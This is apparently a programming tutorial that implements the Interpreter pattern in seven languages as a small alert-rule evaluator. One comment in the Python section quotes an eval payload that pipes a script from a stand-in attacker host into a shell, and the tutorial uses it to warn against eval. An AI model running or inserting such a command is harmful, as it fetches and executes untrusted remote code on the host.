Interpreter Design Pattern

public interface Expression {
    Value interpret(Context context);
}

/** Terminal: reads from the context. */
public record Metric(String name) implements Expression {
    public Value interpret(Context ctx) { return Value.of(ctx.metric(name)); }
}

/** Terminal: a constant. */
public record Literal(Value value) implements Expression {
    public Value interpret(Context ctx) { return value; }
}

public record GreaterThan(Expression left, Expression right) implements Expression {
    public Value interpret(Context ctx) {
        return Value.of(left.interpret(ctx).asNumber() > right.interpret(ctx).asNumber());
    }
}

public record And(Expression left, Expression right) implements Expression {
    public Value interpret(Context ctx) {
        // Short-circuit: the right side may be an expensive lookup, and it must
        // not run when the left side already settled the answer.
        if (!left.interpret(ctx).asBoolean()) return Value.FALSE;
        return Value.of(right.interpret(ctx).asBoolean());
    }
}

// cpu > 90 AND region == "eu-west"
Expression rule = new And(
        new GreaterThan(new Metric("cpu"), new Literal(Value.of(90))),
        new Equals(new Tag("region"), new Literal(Value.of("eu-west"))));

boolean fires = rule.interpret(new Context(sample)).asBoolean();

// Parse ONCE at save time, evaluate millions of times. The tree is immutable
// and thread-safe, so it can be cached and shared across every evaluation.

from dataclasses import dataclass
from typing import Protocol


class Expression(Protocol):
    def interpret(self, ctx: Context) -> object: ...


@dataclass(frozen=True)
class Metric:
    name: str
    def interpret(self, ctx: Context) -> float:
        return ctx.metrics[self.name]


@dataclass(frozen=True)
class Literal:
    value: object
    def interpret(self, ctx: Context) -> object:
        return self.value


@dataclass(frozen=True)
class GreaterThan:
    left: Expression
    right: Expression
    def interpret(self, ctx: Context) -> bool:
        return self.left.interpret(ctx) > self.right.interpret(ctx)


@dataclass(frozen=True)
class And:
    left: Expression
    right: Expression
    def interpret(self, ctx: Context) -> bool:
        return self.left.interpret(ctx) and self.right.interpret(ctx)   # short-circuits


rule = And(
    GreaterThan(Metric("cpu"), Literal(90)),
    Equals(Tag("region"), Literal("eu-west")),
)

# The whole reason to write this rather than eval(rule_string):
#
#   eval("__import__('os').system('curl attacker.sh | sh')")
#
# eval() and exec() give a rule author your entire process. There is no
# blocklist that makes them safe — restricting __builtins__ has been bypassed
# repeatedly. An interpreter can only ever do what you gave it classes for,
# which is a guarantee, not a mitigation. If you need Python EXPRESSIONS
# specifically, use ast.parse and walk the tree yourself, allowing node types
# one at a time.

#include <memory>
#include <variant>

struct Expression;
using ExprPtr = std::shared_ptr<const Expression>;
using Value = std::variant<double, bool, std::string>;

struct Expression {
    virtual ~Expression() = default;
    virtual Value interpret(const Context&) const = 0;
};

struct Metric final : Expression {
    std::string name;
    Value interpret(const Context& ctx) const override { return ctx.metric(name); }
};

struct GreaterThan final : Expression {
    ExprPtr left, right;
    Value interpret(const Context& ctx) const override {
        return std::get<double>(left->interpret(ctx)) > std::get<double>(right->interpret(ctx));
    }
};

struct And final : Expression {
    ExprPtr left, right;
    Value interpret(const Context& ctx) const override {
        if (!std::get<bool>(left->interpret(ctx))) return false;   // short-circuit
        return std::get<bool>(right->interpret(ctx));
    }
};

// `shared_ptr<const Expression>` states the two properties that matter: the
// tree is shared (many evaluations, one parse) and immutable (safe from many
// threads at once).
//
// Recursion is the risk here: a deeply nested rule from an untrusted source
// will blow the stack. Cap the depth AT PARSE TIME — by evaluation it's too
// late to refuse.

public interface IExpression
{
    object Interpret(Context ctx);
}

public sealed record Metric(string Name) : IExpression
{
    public object Interpret(Context ctx) => ctx.Metrics[Name];
}

public sealed record Literal(object Value) : IExpression
{
    public object Interpret(Context ctx) => Value;
}

public sealed record GreaterThan(IExpression Left, IExpression Right) : IExpression
{
    public object Interpret(Context ctx) =>
        Convert.ToDouble(Left.Interpret(ctx)) > Convert.ToDouble(Right.Interpret(ctx));
}

public sealed record And(IExpression Left, IExpression Right) : IExpression
{
    public object Interpret(Context ctx) =>
        (bool)Left.Interpret(ctx) && (bool)Right.Interpret(ctx);
}

// .NET ships the industrial version of this idea. System.Linq.Expressions is a
// full expression-tree library, and an IQueryable provider is an interpreter
// that walks the tree and emits SQL instead of a value:
//
//     Expression<Func<Sample, bool>> rule = s => s.Cpu > 90 && s.Region == "eu-west";
//     // rule.Body is a BinaryExpression tree you can inspect, rewrite or compile
//     var fast = rule.Compile();     // → IL, for when interpretation is too slow
//
// That Compile() call is the standard escape hatch when a hot rule is evaluated
// millions of times: interpret while you're iterating, compile when you ship.

// The AST as plain data, and one evaluator function. Serialisable, storable in
// a database column, and inspectable by the UI that built it.

const evaluate = (node, ctx) => {
  switch (node.type) {
    case 'metric':  return ctx.metrics[node.name]
    case 'tag':     return ctx.tags[node.name]
    case 'literal': return node.value
    case 'gt':      return evaluate(node.left, ctx) > evaluate(node.right, ctx)
    case 'eq':      return evaluate(node.left, ctx) === evaluate(node.right, ctx)
    case 'not':     return !evaluate(node.operand, ctx)
    case 'and':     return evaluate(node.left, ctx) && evaluate(node.right, ctx)
    case 'or':      return evaluate(node.left, ctx) || evaluate(node.right, ctx)
    default: throw new Error(`unknown node type: ${node.type}`)
  }
}

const rule = {
  type: 'and',
  left:  { type: 'gt', left: { type: 'metric', name: 'cpu' }, right: { type: 'literal', value: 90 } },
  right: { type: 'eq', left: { type: 'tag', name: 'region' }, right: { type: 'literal', value: 'eu-west' } },
}

evaluate(rule, { metrics: { cpu: 94 }, tags: { region: 'eu-west' } })   // true

// `&&` and `||` short-circuit, so an expensive right-hand side is skipped for
// free. And note what this design gives you beyond safety: because the rule is
// JSON, the same tree drives the query builder UI, the audit log and the
// evaluator — no string parsing anywhere.

package rules

type Expression interface {
	Interpret(ctx Context) (Value, error)
}

type Metric struct{ Name string }

func (m Metric) Interpret(ctx Context) (Value, error) {
	v, ok := ctx.Metrics[m.Name]
	if !ok {
		// A missing metric is not false — it's unknown, and silently treating
		// it as false is how an alert stops firing without anyone noticing.
		return Value{}, fmt.Errorf("unknown metric %q", m.Name)
	}
	return Number(v), nil
}

type And struct{ Left, Right Expression }

func (a And) Interpret(ctx Context) (Value, error) {
	left, err := a.Left.Interpret(ctx)
	if err != nil {
		return Value{}, err
	}
	if !left.Bool() {
		return Bool(false), nil          // short-circuit: Right never runs
	}
	return a.Right.Interpret(ctx)
}

// Returning (Value, error) is the tab worth reading twice. Every other language
// here quietly allows an evaluator that treats "missing" as "false"; Go makes
// you decide, at every node, what an unknown means — which for an alerting
// system is exactly the question you want to be forced to answer.
//
// text/template and Go's own go/ast are interpreters in the standard library.

type Expr =
  | { type: 'metric'; name: string }
  | { type: 'tag'; name: string }
  | { type: 'literal'; value: number | string | boolean }
  | { type: 'gt'; left: Expr; right: Expr }
  | { type: 'eq'; left: Expr; right: Expr }
  | { type: 'not'; operand: Expr }
  | { type: 'and'; left: Expr; right: Expr }
  | { type: 'or'; left: Expr; right: Expr }

// The union IS the grammar, written once, and it does three jobs at the same
// time: it types the evaluator, it types the parser's output, and it is the
// wire format the UI stores.
export function evaluate(node: Expr, ctx: Context): number | string | boolean {
  switch (node.type) {
    case 'metric':  return ctx.metrics[node.name] ?? raise(`unknown metric ${node.name}`)
    case 'tag':     return ctx.tags[node.name] ?? raise(`unknown tag ${node.name}`)
    case 'literal': return node.value
    case 'gt':      return num(evaluate(node.left, ctx)) > num(evaluate(node.right, ctx))
    case 'eq':      return evaluate(node.left, ctx) === evaluate(node.right, ctx)
    case 'not':     return !evaluate(node.operand, ctx)
    case 'and':     return Boolean(evaluate(node.left, ctx)) && Boolean(evaluate(node.right, ctx))
    case 'or':      return Boolean(evaluate(node.left, ctx)) || Boolean(evaluate(node.right, ctx))
    default: {
      const exhaustive: never = node
      throw new Error(`unhandled node ${JSON.stringify(exhaustive)}`)
    }
  }
}

// Add a grammar rule to the union and every evaluator, printer and optimiser
// fails to compile until it handles the new node — which is how you keep a
// growing little language honest.